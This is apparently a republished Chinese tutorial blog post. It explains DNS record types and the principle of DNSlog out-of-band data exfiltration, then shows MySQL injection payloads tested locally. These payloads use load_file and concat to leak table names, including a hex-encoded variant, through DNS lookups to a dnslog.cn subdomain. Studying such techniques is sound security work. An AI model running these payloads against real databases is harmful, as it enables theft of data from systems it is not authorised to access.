DNSlog外带原理及注入分析(最新推荐)
作者:S1nJa
DNS基本概念
DNS中不同域名类型概念
DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如littlehann.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如101.37.97.51,使用户可以访问这台服务器上相应的服务。
DNSlog就是存储在DNS Server上的域名访问信息,它记录着用户对域名littlehann.com等的访问信息,类似日志文件。
按照解析类型分类,DNS域名有如下几种:
- A记录:A (Address) 记录是用来指定主机名(或域名)对应的IP地址记录。就是说:通过A记录,大家可以设置自己的不同域名转到不同的IP上去。如:
- www.dns.la转到IP 116.255.202.1
- web.dns.la 转到IP 116.255.202.11
- mail.dns.la 转到IP 116.255.202.111
- MX记录(Mail Exchange):邮件交换记录,用户可以将该域名下的邮件服务器指向到自己的Mail Server上,然后即可自行操作控制所有的邮箱设置。
- CNAME(Canonical Name)记录:通常称别名解析,可以将注册的不同域名都转到一个域名记录上,由这个域名记录统一解析管理,与A记录不同的是,CNAME别名记录设置的可以是一个域名的描述而不一定是IP地址。
- URL(Uniform Resource Locator)转发:网址转发功能,如果您没有一台独立的服务器(也就是没有一个独立的IP地址)或者您还有一个域名B,您想访问A域名时访问到B域名的内容,这时您就可以通过URL转发来实现。URL转发可以转发到某一个目录下,甚至某一个文件上。而CNAME是不可以,这就是URL转发和CNAME的主要区别所在。
- NS(Name Server):NS记录是域名服务解析记录,NS用来指定该域名由哪个DNS服务器来进行解析,可以把一个域名的不同二级域名分别指向到不同的DNS系统来解析。
- AAAA记录:IPV6解析记录,该记录是将域名解析到一个指定的IPV6的IP上。
前言
最近一直听到DNSlog外带原理等词但对其原理一直只是自己的理解(回显DNS请求后的日志)并没有真正的了解过,所以这里做一下记录。
DNSlog原理
DNS
DNS(Domain Name System)就是域名系统,负责把域名转换成IP地址;例如向浏览器访问a.com,浏览器就会将其解析成真实的IP访问对应服务器上的服务。
DNSlog
DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录
DNSlog外带原理
DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。
所以这里跟最初的猜想基本一致,原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。
DNSlog注入
在搜索DNSlog原理时同时看到了DNSlog注入,所以本地测试一块都了解一下
前置知识
Load_file
注入主要用到了Load_file
函数,功能是读取文件并返回文件内容为字符串。(访问互联网中的文件时,需要在最前面加上两个斜杠 //)
使用本函数有几个前提:
1、首先要有注入点
2、需要有root权限
3、数据库有读写权限即:secure_file_priv=“”
4、得有请求url权限
5、还必须得是windows服务器
D盘中写了个1.txt
通过load_file函数,读取一下
select load_file('D:/1.txt')
concat
由于在通过load_file
外带时是无法执行sql语句的,所以要通过concat
函数,将执行的sql语句,与DNS请求的url进行拼接
select concat('Sentiment','\\',(select database()));
本地测试
通过DNSlog外带数据库信息
select load_file(concat('//',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
外带表名
select load_file(concat('//',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
剩下的就是sql注入常规操作了,就不一一列举了
局限性
通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性
select load_file(concat('//',(select hex(group_concat(table_name separator '_')) from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
十六进制转字符
到此这篇关于DNSlog外带原理及注入分析(最新推荐)的文章就介绍到这了,更多相关DNSLOG注入原理内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!